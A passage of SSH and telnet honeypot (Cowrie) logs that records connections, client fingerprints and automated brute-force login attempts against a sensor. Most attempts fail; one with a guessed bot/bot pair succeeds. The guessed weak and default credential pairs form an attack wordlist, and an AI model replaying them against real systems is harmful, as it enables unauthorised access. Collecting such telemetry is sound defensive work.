","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:06.366468Z","src_ip":"45.153.34.114","session":"f03f78394954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:06.705116Z","src_ip":"45.153.34.114","session":"f03f78394954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:07.794258Z","src_ip":"45.153.34.114","session":"f03f78394954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":47154,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1673df1e96b","protocol":"ssh","message":"New connection: 45.61.187.220:47154 (159.203.135.109:22) [session: a1673df1e96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:12.097274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:12.101975Z","src_ip":"45.61.187.220","session":"a1673df1e96b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:12.153410Z","src_ip":"45.61.187.220","session":"a1673df1e96b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lisi","password":"123","message":"login attempt [lisi/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:12.380560Z","src_ip":"45.61.187.220","session":"a1673df1e96b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:13.429034Z","src_ip":"45.61.187.220","session":"a1673df1e96b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34282,"dst_ip":"159.203.135.109","dst_port":22,"session":"414818b30be6","protocol":"ssh","message":"New connection: 45.153.34.114:34282 (159.203.135.109:22) [session: 414818b30be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:14.407886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:14.413633Z","src_ip":"45.153.34.114","session":"414818b30be6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:14.497767Z","src_ip":"45.153.34.114","session":"414818b30be6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:14.757329Z","src_ip":"45.153.34.114","session":"414818b30be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:15.843366Z","src_ip":"45.153.34.114","session":"414818b30be6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":41004,"dst_ip":"159.203.135.109","dst_port":23,"session":"03eb66ed0df1","protocol":"telnet","message":"New connection: 74.91.213.120:41004 (159.203.135.109:23) [session: 03eb66ed0df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:15.959817Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":48506,"dst_ip":"159.203.135.109","dst_port":22,"session":"be1bb0282fb6","protocol":"ssh","message":"New connection: 213.209.159.56:48506 (159.203.135.109:22) [session: be1bb0282fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:19.032229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:19.039734Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:19.123521Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn","message":"login attempt [jessalyn/jessalyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:19.523580Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn1","message":"login attempt [jessalyn/jessalyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:20.612630Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42074,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ca375158073","protocol":"telnet","message":"New connection: 74.91.213.120:42074 (159.203.135.109:23) [session: 7ca375158073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:21.148864Z"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn123","message":"login attempt [jessalyn/jessalyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:21.699276Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35880,"dst_ip":"159.203.135.109","dst_port":22,"session":"267d1b285338","protocol":"ssh","message":"New connection: 45.153.34.114:35880 (159.203.135.109:22) [session: 267d1b285338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:22.435880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:22.441186Z","src_ip":"45.153.34.114","session":"267d1b285338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:22.525029Z","src_ip":"45.153.34.114","session":"267d1b285338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn1234","message":"login attempt [jessalyn/jessalyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:22.786464Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:22.795883Z","src_ip":"45.153.34.114","session":"267d1b285338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42082,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e9c05c7ab4e","protocol":"telnet","message":"New connection: 74.91.213.120:42082 (159.203.135.109:23) [session: 6e9c05c7ab4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:23.128440Z"}
{"eventid":"cowrie.login.failed","username":"jessalyn","password":"jessalyn12345","message":"login attempt [jessalyn/jessalyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:23.872568Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:23.883821Z","src_ip":"45.153.34.114","session":"267d1b285338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:24.962296Z","src_ip":"213.209.159.56","session":"be1bb0282fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38404,"dst_ip":"159.203.135.109","dst_port":22,"session":"47bae32d4019","protocol":"ssh","message":"New connection: 45.153.34.114:38404 (159.203.135.109:22) [session: 47bae32d4019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:30.565384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:30.574053Z","src_ip":"45.153.34.114","session":"47bae32d4019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:30.662731Z","src_ip":"45.153.34.114","session":"47bae32d4019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:30.934513Z","src_ip":"45.153.34.114","session":"47bae32d4019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:32.021524Z","src_ip":"45.153.34.114","session":"47bae32d4019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17877769470215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:33.146257Z","src_ip":"74.91.213.120","session":"589955a16859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47812,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff8cf6f4e96","protocol":"telnet","message":"New connection: 74.91.213.120:47812 (159.203.135.109:23) [session: 5ff8cf6f4e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:35.642638Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38420,"dst_ip":"159.203.135.109","dst_port":22,"session":"b573e6405441","protocol":"ssh","message":"New connection: 45.153.34.114:38420 (159.203.135.109:22) [session: b573e6405441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:38.602648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:38.612496Z","src_ip":"45.153.34.114","session":"b573e6405441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:38.696355Z","src_ip":"45.153.34.114","session":"b573e6405441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:38.960081Z","src_ip":"45.153.34.114","session":"b573e6405441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":45392,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c6f16b29b11","protocol":"telnet","message":"New connection: 74.91.213.120:45392 (159.203.135.109:23) [session: 6c6f16b29b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:39.889471Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:40.047055Z","src_ip":"45.153.34.114","session":"b573e6405441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24790048599243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:46.207594Z","src_ip":"74.91.213.120","session":"03eb66ed0df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38318,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfd09e4351c8","protocol":"ssh","message":"New connection: 45.153.34.114:38318 (159.203.135.109:22) [session: bfd09e4351c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:46.325254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:46.422312Z","src_ip":"45.153.34.114","session":"bfd09e4351c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:46.426343Z","src_ip":"45.153.34.114","session":"bfd09e4351c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:46.778320Z","src_ip":"45.153.34.114","session":"bfd09e4351c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:45:46.996807Z","src_ip":"45.153.34.114","session":"bfd09e4351c8","protocol":"ssh"}
